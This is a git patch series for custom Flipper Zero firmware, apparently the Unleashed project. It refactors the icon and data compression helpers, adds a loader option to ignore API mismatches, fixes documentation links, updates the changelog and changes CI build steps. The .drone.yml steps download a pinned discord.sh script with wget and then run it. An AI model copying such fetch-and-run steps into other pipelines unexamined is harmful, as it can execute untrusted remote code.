7e31dbbf7..0d5e1c654 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_compress.c +++ b/lib/toolbox/compress.c @@ -1,115 +1,112 @@ -#include +#include "compress.h" #include #include #include -#define TAG "FuriHalCompress" +/** Defines encoder and decoder window size */ +#define COMPRESS_EXP_BUFF_SIZE_LOG (8u) -#define FURI_HAL_COMPRESS_ICON_ENCODED_BUFF_SIZE (2 * 512) -#define FURI_HAL_COMPRESS_ICON_DECODED_BUFF_SIZE (1024) +/** Defines encoder and decoder lookahead buffer size */ +#define COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG (4u) -#define FURI_HAL_COMPRESS_EXP_BUFF_SIZE (1 << FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG) +/** Buffer sizes for input and output data */ +#define COMPRESS_ICON_ENCODED_BUFF_SIZE (1024u) +#define COMPRESS_ICON_DECODED_BUFF_SIZE (1024u) typedef struct { uint8_t is_compressed; uint8_t reserved; uint16_t compressed_buff_size; -} FuriHalCompressHeader; +} CompressHeader; -typedef struct { - heatshrink_decoder* decoder; - uint8_t - compress_buff[FURI_HAL_COMPRESS_EXP_BUFF_SIZE + FURI_HAL_COMPRESS_ICON_ENCODED_BUFF_SIZE]; - uint8_t decoded_buff[FURI_HAL_COMPRESS_ICON_DECODED_BUFF_SIZE]; -} FuriHalCompressIcon; +_Static_assert(sizeof(CompressHeader) == 4, "Incorrect CompressHeader size"); -struct FuriHalCompress { - heatshrink_encoder* encoder; +struct CompressIcon { heatshrink_decoder* decoder; - uint8_t* compress_buff; - uint16_t compress_buff_size; + uint8_t decoded_buff[COMPRESS_ICON_DECODED_BUFF_SIZE]; }; -static FuriHalCompressIcon* icon_decoder; +CompressIcon* compress_icon_alloc() { + CompressIcon* instance = malloc(sizeof(CompressIcon)); + instance->decoder = heatshrink_decoder_alloc( + COMPRESS_ICON_ENCODED_BUFF_SIZE, + COMPRESS_EXP_BUFF_SIZE_LOG, + COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); + heatshrink_decoder_reset(instance->decoder); + memset(instance->decoded_buff, 0, sizeof(instance->decoded_buff)); -static void furi_hal_compress_reset(FuriHalCompress* compress) { - furi_assert(compress); - heatshrink_encoder_reset(compress->encoder); - heatshrink_decoder_reset(compress->decoder); - memset(compress->compress_buff, 0, compress->compress_buff_size); + return instance; } -void furi_hal_compress_icon_init() { - icon_decoder = malloc(sizeof(FuriHalCompressIcon)); - icon_decoder->decoder = heatshrink_decoder_alloc( - icon_decoder->compress_buff, - FURI_HAL_COMPRESS_ICON_ENCODED_BUFF_SIZE, - FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG, - FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); - heatshrink_decoder_reset(icon_decoder->decoder); - memset(icon_decoder->decoded_buff, 0, sizeof(icon_decoder->decoded_buff)); - FURI_LOG_I(TAG, "Init OK"); +void compress_icon_free(CompressIcon* instance) { + furi_assert(instance); + heatshrink_decoder_free(instance->decoder); + free(instance); } -void furi_hal_compress_icon_decode(const uint8_t* icon_data, uint8_t** decoded_buff) { +void compress_icon_decode(CompressIcon* instance, const uint8_t* icon_data, uint8_t** decoded_buff) { + furi_assert(instance); furi_assert(icon_data); furi_assert(decoded_buff); - FuriHalCompressHeader* header = (FuriHalCompressHeader*)icon_data; + CompressHeader* header = (CompressHeader*)icon_data; if(header->is_compressed) { size_t data_processed = 0; heatshrink_decoder_sink( - icon_decoder->decoder, - (uint8_t*)&icon_data[4], + instance->decoder, + (uint8_t*)&icon_data[sizeof(CompressHeader)], header->compressed_buff_size, &data_processed); while(1) { HSD_poll_res res = heatshrink_decoder_poll( - icon_decoder->decoder, - icon_decoder->decoded_buff, - sizeof(icon_decoder->decoded_buff), + instance->decoder, + instance->decoded_buff, + sizeof(instance->decoded_buff), &data_processed); furi_assert((res == HSDR_POLL_EMPTY) || (res == HSDR_POLL_MORE)); if(res != HSDR_POLL_MORE) { break; } } - heatshrink_decoder_reset(icon_decoder->decoder); - memset(icon_decoder->compress_buff, 0, sizeof(icon_decoder->compress_buff)); - *decoded_buff = icon_decoder->decoded_buff; + heatshrink_decoder_reset(instance->decoder); + *decoded_buff = instance->decoded_buff; } else { *decoded_buff = (uint8_t*)&icon_data[1]; } } -FuriHalCompress* furi_hal_compress_alloc(uint16_t compress_buff_size) { - FuriHalCompress* compress = malloc(sizeof(FuriHalCompress)); - compress->compress_buff = malloc(compress_buff_size + FURI_HAL_COMPRESS_EXP_BUFF_SIZE); - compress->encoder = heatshrink_encoder_alloc( - compress->compress_buff, - FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG, - FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); +struct Compress { + heatshrink_encoder* encoder; + heatshrink_decoder* decoder; +}; + +static void compress_reset(Compress* compress) { + furi_assert(compress); + heatshrink_encoder_reset(compress->encoder); + heatshrink_decoder_reset(compress->decoder); +} + +Compress* compress_alloc(uint16_t compress_buff_size) { + Compress* compress = malloc(sizeof(Compress)); + compress->encoder = + heatshrink_encoder_alloc(COMPRESS_EXP_BUFF_SIZE_LOG, COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); compress->decoder = heatshrink_decoder_alloc( - compress->compress_buff, - compress_buff_size, - FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG, - FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); + compress_buff_size, COMPRESS_EXP_BUFF_SIZE_LOG, COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG); return compress; } -void furi_hal_compress_free(FuriHalCompress* compress) { +void compress_free(Compress* compress) { furi_assert(compress); heatshrink_encoder_free(compress->encoder); heatshrink_decoder_free(compress->decoder); - free(compress->compress_buff); free(compress); } -bool furi_hal_compress_encode( - FuriHalCompress* compress, +bool compress_encode( + Compress* compress, uint8_t* data_in, size_t data_in_size, uint8_t* data_out, @@ -126,7 +123,7 @@ bool furi_hal_compress_encode( HSE_finish_res finish_res; bool encode_failed = false; size_t sunk = 0; - size_t res_buff_size = sizeof(FuriHalCompressHeader); + size_t res_buff_size = sizeof(CompressHeader); // Sink data to encoding buffer while((sunk < data_in_size) && !encode_failed) { @@ -174,7 +171,7 @@ bool furi_hal_compress_encode( bool result = true; // Write encoded data to output buffer if compression is efficient. Else - write header and original data if(!encode_failed && (res_buff_size < data_in_size + 1)) { - FuriHalCompressHeader header = { + CompressHeader header = { .is_compressed = 0x01, .reserved = 0x00, .compressed_buff_size = res_buff_size}; memcpy(data_out, &header, sizeof(header)); *data_res_size = res_buff_size; @@ -186,13 +183,13 @@ bool furi_hal_compress_encode( *data_res_size = 0; result = false; } - furi_hal_compress_reset(compress); + compress_reset(compress); return result; } -bool furi_hal_compress_decode( - FuriHalCompress* compress, +bool compress_decode( + Compress* compress, uint8_t* data_in, size_t data_in_size, uint8_t* data_out, @@ -212,11 +209,11 @@ bool furi_hal_compress_decode( size_t res_buff_size = 0; size_t poll_size = 0; - FuriHalCompressHeader* header = (FuriHalCompressHeader*)data_in; + CompressHeader* header = (CompressHeader*)data_in; if(header->is_compressed) { // Sink data to decoding buffer size_t compressed_size = header->compressed_buff_size; - size_t sunk = sizeof(FuriHalCompressHeader); + size_t sunk = sizeof(CompressHeader); while(sunk < compressed_size && !decode_failed) { sink_res = heatshrink_decoder_sink( compress->decoder, &data_in[sunk], compressed_size - sunk, &sink_size); @@ -258,7 +255,7 @@ bool furi_hal_compress_decode( } else { result = false; } - furi_hal_compress_reset(compress); + compress_reset(compress); return result; } diff --git a/lib/toolbox/compress.h b/lib/toolbox/compress.h new file mode 100644 index 000000000..a18551d7f --- /dev/null +++ b/lib/toolbox/compress.h @@ -0,0 +1,96 @@ +/** + * @file compress.h + * LZSS based compression HAL API + */ +#pragma once + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** Compress Icon control structure */ +typedef struct CompressIcon CompressIcon; + +/** Initialize icon compressor + * + * @return Compress Icon instance + */ +CompressIcon* compress_icon_alloc(); + +/** Free icon compressor + * + * @param instance The Compress Icon instance + */ +void compress_icon_free(CompressIcon* instance); + +/** Decompress icon + * + * @warning decoded_buff pointer set by this function is valid till next + * `compress_icon_decode` or `compress_icon_free` call + * + * @param instance The Compress Icon instance + * @param icon_data pointer to icon data + * @param[in] decoded_buff pointer to decoded buffer pointer + */ +void compress_icon_decode(CompressIcon* instance, const uint8_t* icon_data, uint8_t** decoded_buff); + +/** Compress control structure */ +typedef struct Compress Compress; + +/** Allocate encoder and decoder + * + * @param compress_buff_size size of decoder and encoder buffer to allocate + * + * @return Compress instance + */ +Compress* compress_alloc(uint16_t compress_buff_size); + +/** Free encoder and decoder + * + * @param compress Compress instance + */ +void compress_free(Compress* compress); + +/** Encode data + * + * @param compress Compress instance + * @param data_in pointer to input data + * @param data_in_size size of input data + * @param data_out maximum size of output data + * @param data_res_size pointer to result output data size + * + * @return true on success + */ +bool compress_encode( + Compress* compress, + uint8_t* data_in, + size_t data_in_size, + uint8_t* data_out, + size_t data_out_size, + size_t* data_res_size); + +/** Decode data + * + * @param compress Compress instance + * @param data_in pointer to input data + * @param data_in_size size of input data + * @param data_out maximum size of output data + * @param data_res_size pointer to result output data size + * + * @return true on success + */ +bool compress_decode( + Compress* compress, + uint8_t* data_in, + size_t data_in_size, + uint8_t* data_out, + size_t data_out_size, + size_t* data_res_size); + +#ifdef __cplusplus +} +#endif From 8002c6465d5988682e5917ef2f37136f1ba9da88 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 22 Mar 2023 21:13:59 +0300 Subject: [PATCH 238/329] up --- assets/protobuf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/protobuf b/assets/protobuf index 1f6b4a08c..646066023 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 1f6b4a08c5d05c2b17926a3ba79f60109638932f +Subproject commit 6460660237005d02d5c223835659b40e373bade9 From 6057262c182a83bad4e45462cf3ff62690be3868 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 22 Mar 2023 21:15:45 +0300 Subject: [PATCH 239/329] update submodule --- assets/protobuf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/protobuf b/assets/protobuf index 646066023..1f6b4a08c 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 6460660237005d02d5c223835659b40e373bade9 +Subproject commit 1f6b4a08c5d05c2b17926a3ba79f60109638932f From 9165b819f4b077f7371a51b18b12ba13454fbf91 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 22 Mar 2023 22:04:04 +0300 Subject: [PATCH 240/329] fix merge issues --- applications/services/gui/canvas.c | 2 +- firmware/targets/f7/api_symbols.csv | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/applications/services/gui/canvas.c b/applications/services/gui/canvas.c index 26d061083..2f3ca18f4 100644 --- a/applications/services/gui/canvas.c +++ b/applications/services/gui/canvas.c @@ -390,7 +390,7 @@ void canvas_draw_icon_bitmap( x += canvas->offset_x; y += canvas->offset_y; uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(icon), &icon_data); + compress_icon_decode(canvas->compress_icon, icon_get_data(icon), &icon_data); u8g2_DrawXBM(&canvas->fb, x, y, w, h, icon_data); } diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index a044372cb..a1830aba8 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -706,6 +706,13 @@ Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiI Function,+,composite_api_resolver_alloc,CompositeApiResolver*, Function,+,composite_api_resolver_free,void,CompositeApiResolver* Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* +Function,-,compress_alloc,Compress*,uint16_t +Function,-,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_free,void,Compress* +Function,-,compress_icon_alloc,CompressIcon*, +Function,-,compress_icon_decode,void,"CompressIcon*, const uint8_t*, uint8_t**" +Function,-,compress_icon_free,void,CompressIcon* Function,-,copysign,double,"double, double" Function,-,copysignf,float,"float, float" Function,-,copysignl,long double,"long double, long double" From 5ab574d7f2f856142f2476973fe5c13ec858b6b6 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:03:03 +0000 Subject: [PATCH 241/329] Fap loader add option to ignore api mismatch --- applications/main/fap_loader/fap_loader_app.c | 44 ++++++++++++++----- 1 file changed, 32 insertions(+), 12 deletions(-) diff --git a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index f5c7af024..d85eb784b 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -63,7 +63,7 @@ static bool fap_loader_item_callback( return fap_loader_load_name_and_icon(path, fap_loader->storage, icon_ptr, item_name); } -static bool fap_loader_run_selected_app(FapLoader* loader) { +static bool fap_loader_run_selected_app(FapLoader* loader, bool ignore_mismatch) { furi_assert(loader); FuriString* error_message; @@ -72,6 +72,7 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { bool file_selected = false; bool show_error = true; + bool retry = false; do { file_selected = true; loader->app = flipper_application_alloc(loader->storage, firmware_api_interface); @@ -82,14 +83,29 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { FlipperApplicationPreloadStatus preload_res = flipper_application_preload(loader->app, furi_string_get_cstr(loader->fap_path)); if(preload_res != FlipperApplicationPreloadStatusSuccess) { - const char* err_msg = flipper_application_preload_status_to_string(preload_res); - furi_string_printf(error_message, "Preload failed: %s", err_msg); - FURI_LOG_E( - TAG, - "FAP Loader failed to preload %s: %s", - furi_string_get_cstr(loader->fap_path), - err_msg); - break; + if(preload_res == FlipperApplicationPreloadStatusApiMismatch) { + if(!ignore_mismatch) { + DialogMessage* message = dialog_message_alloc(); + dialog_message_set_header(message, "API Mismatch", 64, 0, AlignCenter, AlignTop); + dialog_message_set_buttons(message, "Cancel", NULL, "Continue"); + dialog_message_set_text(message, "This app might not\nwork correctly\nContinue anyways?", 64, 32, AlignCenter, AlignCenter); + if(dialog_message_show(loader->dialogs, message) == DialogMessageButtonRight) { + retry = true; + } + dialog_message_free(message); + show_error = false; + break; + } + } else { + const char* err_msg = flipper_application_preload_status_to_string(preload_res); + furi_string_printf(error_message, "Preload failed: %s", err_msg); + FURI_LOG_E( + TAG, + "FAP Loader failed to preload %s: %s", + furi_string_get_cstr(loader->fap_path), + err_msg); + break; + } } FURI_LOG_I(TAG, "FAP Loader is mapping"); @@ -155,7 +171,7 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { flipper_application_free(loader->app); } - return file_selected; + return retry; } static bool fap_loader_select_app(FapLoader* loader) { @@ -203,12 +219,16 @@ int32_t fap_loader_app(void* p) { if(p) { loader = fap_loader_alloc((const char*)p); view_dispatcher_switch_to_view(loader->view_dispatcher, 0); - fap_loader_run_selected_app(loader); + if(fap_loader_run_selected_app(loader, false)) { + fap_loader_run_selected_app(loader, true); + } } else { loader = fap_loader_alloc(EXT_PATH("apps")); while(fap_loader_select_app(loader)) { view_dispatcher_switch_to_view(loader->view_dispatcher, 0); - fap_loader_run_selected_app(loader); + if(fap_loader_run_selected_app(loader, false)) { + fap_loader_run_selected_app(loader, true); + } }; } From 9a14699aa062590744acd8d3fb65476308c26a42 Mon Sep 17 00:00:00 2001 From: Shukai Ni Date: Wed, 22 Mar 2023 16:19:07 -0400 Subject: [PATCH 242/329] Fix relative links in .md files (#2528) Fixed some incorrect relative link, which caused 404 error when viewing in GitHub. --- documentation/UnitTests.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/documentation/UnitTests.md b/documentation/UnitTests.md index d38d4c4b1..4717daa8c 100644 --- a/documentation/UnitTests.md +++ b/documentation/UnitTests.md @@ -17,11 +17,11 @@ To run the unit tests, follow these steps: 1. Compile the firmware with the tests enabled: `./fbt FIRMWARE_APP_SET=unit_tests`. 2. Flash the firmware using your preferred method. -3. Copy the [assets/unit_tests](assets/unit_tests) folder to the root of your Flipper Zero's SD card. +3. Copy the [assets/unit_tests](/assets/unit_tests) folder to the root of your Flipper Zero's SD card. 4. Launch the CLI session and run the `unit_tests` command. **NOTE:** To run a particular test (and skip all others), specify its name as the command argument. -See [test_index.c](applications/debug/unit_tests/test_index.c) for the complete list of test names. +See [test_index.c](/applications/debug/unit_tests/test_index.c) for the complete list of test names. ## Adding unit tests @@ -29,7 +29,7 @@ See [test_index.c](applications/debug/unit_tests/test_index.c) for the complete #### Entry point -The common entry point for all tests is the [unit_tests](applications/debug/unit_tests) application. Test-specific code is placed into an arbitrarily named subdirectory and is then called from the [test_index.c](applications/debug/unit_tests/test_index.c) source file. +The common entry point for all tests is the [unit_tests](/applications/debug/unit_tests) application. Test-specific code is placed into an arbitrarily named subdirectory and is then called from the [test_index.c](/applications/debug/unit_tests/test_index.c) source file. #### Test assets @@ -42,10 +42,10 @@ Some unit tests require external data in order to function. These files (commonl Each infrared protocol has a corresponding set of unit tests, so it makes sense to implement one when adding support for a new protocol. To add unit tests for your protocol, follow these steps: -1. Create a file named `test_.irtest` in the [assets](assets/unit_tests/infrared) directory. +1. Create a file named `test_.irtest` in the [assets](/assets/unit_tests/infrared) directory. 2. Fill it with the test data (more on it below). -3. Add the test code to [infrared_test.c](applications/debug/unit_tests/infrared/infrared_test.c). -4. Update the [assets](assets/unit_tests/infrared) on your Flipper Zero and run the tests to see if they pass. +3. Add the test code to [infrared_test.c](/applications/debug/unit_tests/infrared/infrared_test.c). +4. Update the [assets](/assets/unit_tests/infrared) on your Flipper Zero and run the tests to see if they pass. ##### Test data format From 4d7232d5edab8dbc7960b7ad5a75474588ec6fb3 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 22 Mar 2023 23:22:18 +0300 Subject: [PATCH 243/329] Update changelog --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index af5fdf966..2da161ed0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,15 @@ ### New changes * If you have copied apps into `apps` folder - remove `apps` folder on your microSD before installing this release to avoid issues! * Dev Builds: Add extra pack dev branch to avoid "bug" reports with `API mismatch` +* App Loader: Add option to ignore api mismatch (warning! some apps WILL not work, please update them to avoid any issues) -> (by @Willy-JL | PR #395) * SubGHz: Add manually -> GSN protocol support * SubGHz: Add 318 and 418 MHz back to hopping list * SubGHz: Fix hopper stuck at 433.42 due to wide range signals - When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may loose signal because of that, need to avoid using close freqs in hopping, only freqs with bigger difference like 310 -> 315 * Plugins: Update **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -> BadBT Support +* OFW: Screen streaming improvements +* OFW: 1-Wire Overdrive Mode -> **Breaking API change, api was changed from 19.x to 20.x** +* OFW: Disable UART IRQs by default * OFW: BadUSB: implement boot protocol * OFW: Remove hmac_sha256 from public API -> **Breaking API change, api was changed from 18.x to 19.x** **(this will make your manually copied plugins not work, update them in same way you installed them, or delete `apps` folder and then install firmware, if you using extra pack builds (with `e` in version) all apps in _Extra will be updated automatically)** From 831999f5e116ee4f96a7c7a6a4df735fe7c0ba3b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 22 Mar 2023 23:52:34 +0300 Subject: [PATCH 244/329] Update extra pack links --- .drone.yml | 8 ++++---- CHANGELOG.md | 2 +- ReadMe.md | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.drone.yml b/.drone.yml index 03f678bd5..26b831828 100644 --- a/.drone.yml +++ b/.drone.yml @@ -40,7 +40,7 @@ steps: image: hfdj/fztools pull: never commands: - - git clone https://github.com/xMasterX/unleashed-extra-pack.git + - git clone https://github.com/xMasterX/all-the-plugins.git - cp -R unleashed-extra-pack/apps/* assets/resources/apps/ - rm -rf unleashed-extra-pack - export DIST_SUFFIX=${DRONE_TAG}e @@ -201,7 +201,7 @@ steps: [-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md) - [-Download latest extra apps pack-](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) + [-Download latest extra apps pack-](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip) [-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/${DRONE_TAG}/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=release-cfw&version=${DRONE_TAG}) @@ -223,7 +223,7 @@ steps: commands: - wget "https://raw.githubusercontent.com/fieu/discord.sh/e1dc1a7595efad2cad8f072f0b3531c470f5b7c8/discord.sh" - chmod +x ./discord.sh - - ./discord.sh --text 'New Unleashed firmware released!\n\nVersion - '${DRONE_TAG}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[[Github - Changelog]](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/'${DRONE_TAG}')\n\n[-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)\n\n[-Download latest extra apps pack-](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip)\n\n[-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/'${DRONE_TAG}'/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')\n\n[-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)\n\n[-Version with extra apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'e.tgz&channel=release-cfw&version='${DRONE_TAG}'e)' + - ./discord.sh --text 'New Unleashed firmware released!\n\nVersion - '${DRONE_TAG}'\n\n[-> Sponsor our project](https://boosty.to/mmxdev)\n\n[[Github - Changelog]](https://github.com/DarkFlippers/unleashed-firmware/releases/tag/'${DRONE_TAG}')\n\n[-How to install firmware-](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)\n\n[-Download latest extra apps pack-](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip)\n\n[-Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw/'${DRONE_TAG}'/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=release-cfw&version='${DRONE_TAG}')\n\n[-Version without custom animations - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_no_anim/flipper-z-f7-update-'${DRONE_TAG}'n.tgz&channel=release-cfw&version='${DRONE_TAG}'n)\n\n[-Version with extra apps - Install FW via Web Updater-](https://lab.flipper.net/?url=https://unleashedflip.com/fw_extra_apps/flipper-z-f7-update-'${DRONE_TAG}'e.tgz&channel=release-cfw&version='${DRONE_TAG}'e)' - name: "Send extra pack build to telegram" image: appleboy/drone-telegram @@ -281,7 +281,7 @@ steps: image: hfdj/fztools pull: never commands: - - git clone --branch dev https://github.com/xMasterX/unleashed-extra-pack.git + - git clone --branch dev https://github.com/xMasterX/all-the-plugins.git - cp -R unleashed-extra-pack/apps/* assets/resources/apps/ - rm -rf unleashed-extra-pack - export DIST_SUFFIX=${DRONE_BUILD_NUMBER}e diff --git a/CHANGELOG.md b/CHANGELOG.md index 2da161ed0..20dd09d50 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,7 @@ When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may * OFW: Remove hmac_sha256 from public API -> **Breaking API change, api was changed from 18.x to 19.x** **(this will make your manually copied plugins not work, update them in same way you installed them, or delete `apps` folder and then install firmware, if you using extra pack builds (with `e` in version) all apps in _Extra will be updated automatically)** -#### [🎲 Download latest extra apps pack](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) +#### [🎲 Download latest extra apps pack](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip) [-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md) diff --git a/ReadMe.md b/ReadMe.md index 68c78239a..edaa9b152 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -195,7 +195,7 @@ Games: ### **Plugins** -## [- 🎲 Download Extra plugins for Unleashed](https://github.com/xMasterX/unleashed-extra-pack) +## [- 🎲 Download Extra plugins for Unleashed](https://github.com/xMasterX/all-the-plugins) ## [- TOTP (Authenticator) config description](https://github.com/akopachov/flipper-zero_authenticator/blob/master/docs/conf-file_description.md) From 2ff07a0b54fcc085d188144a3c1568597d9214b5 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 23 Mar 2023 00:06:45 +0300 Subject: [PATCH 245/329] fix folders --- .drone.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.drone.yml b/.drone.yml index 26b831828..9b4765a8f 100644 --- a/.drone.yml +++ b/.drone.yml @@ -41,8 +41,8 @@ steps: pull: never commands: - git clone https://github.com/xMasterX/all-the-plugins.git - - cp -R unleashed-extra-pack/apps/* assets/resources/apps/ - - rm -rf unleashed-extra-pack + - cp -R all-the-plugins/apps/* assets/resources/apps/ + - rm -rf all-the-plugins - export DIST_SUFFIX=${DRONE_TAG}e - export WORKFLOW_BRANCH_OR_TAG=release-cfw - export FORCE_NO_DIRTY=yes @@ -282,8 +282,8 @@ steps: pull: never commands: - git clone --branch dev https://github.com/xMasterX/all-the-plugins.git - - cp -R unleashed-extra-pack/apps/* assets/resources/apps/ - - rm -rf unleashed-extra-pack + - cp -R all-the-plugins/apps/* assets/resources/apps/ + - rm -rf all-the-plugins - export DIST_SUFFIX=${DRONE_BUILD_NUMBER}e - export WORKFLOW_BRANCH_OR_TAG=dev-cfw - export FORCE_NO_DIRTY=yes From 3b71b8596cf836e7b2cc9660122150781c9b6446 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 23 Mar 2023 03:33:13 +0000 Subject: [PATCH 246/329] Initial lock menu rework --- .../desktop/scenes/desktop_scene_lock_menu.c | 85 +++--- .../services/desktop/views/desktop_events.h | 6 +- .../desktop/views/desktop_view_lock_menu.c | 256 ++++++++++++++---- .../desktop/views/desktop_view_lock_menu.h | 5 + .../ControlCenter/CC_Bluetooth_16x16.png | Bin 0 -> 639 bytes .../icons/ControlCenter/CC_DarkMode_16x16.png | Bin 0 -> 635 bytes .../ControlCenter/CC_LefthandedMode_16x16.png | Bin 0 -> 638 bytes assets/icons/ControlCenter/CC_Lock_16x16.png | Bin 0 -> 622 bytes .../icons/ControlCenter/CC_Settings_16x16.png | Bin 0 -> 666 bytes .../icons/ControlCenter/CC_Xtreme_16x16.png | Bin 0 -> 631 bytes assets/icons/Interface/DoorLeft_70x55.png | Bin 564 -> 0 bytes assets/icons/Interface/DoorRight_70x55.png | Bin 570 -> 0 bytes 12 files changed, 256 insertions(+), 96 deletions(-) create mode 100644 assets/icons/ControlCenter/CC_Bluetooth_16x16.png create mode 100644 assets/icons/ControlCenter/CC_DarkMode_16x16.png create mode 100644 assets/icons/ControlCenter/CC_LefthandedMode_16x16.png create mode 100644 assets/icons/ControlCenter/CC_Lock_16x16.png create mode 100644 assets/icons/ControlCenter/CC_Settings_16x16.png create mode 100644 assets/icons/ControlCenter/CC_Xtreme_16x16.png delete mode 100644 assets/icons/Interface/DoorLeft_70x55.png delete mode 100644 assets/icons/Interface/DoorRight_70x55.png diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 26e40e974..f9d9008e7 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -4,6 +4,8 @@ #include #include #include +// #include +#include #include "../desktop_i.h" #include @@ -26,7 +28,7 @@ void desktop_scene_lock_menu_on_enter(void* context) { scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); desktop_lock_menu_set_callback(desktop->lock_menu, desktop_scene_lock_menu_callback, desktop); desktop_lock_menu_set_pin_state(desktop->lock_menu, desktop->settings.pin_code.length > 0); - desktop_lock_menu_set_idx(desktop->lock_menu, 0); + desktop_lock_menu_set_idx(desktop->lock_menu, 3); view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdLockMenu); } @@ -55,52 +57,59 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { } } else if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { + // case DesktopLockMenuEventPinLock: + // if(desktop->settings.pin_code.length > 0) { + // desktop_pin_lock(&desktop->settings); + // desktop_lock(desktop); + // } else { + // LoaderStatus status = + // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); + // if(status == LoaderStatusOk) { + // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 1); + // } else { + // FURI_LOG_E(TAG, "Unable to start desktop settings"); + // } + // } + // 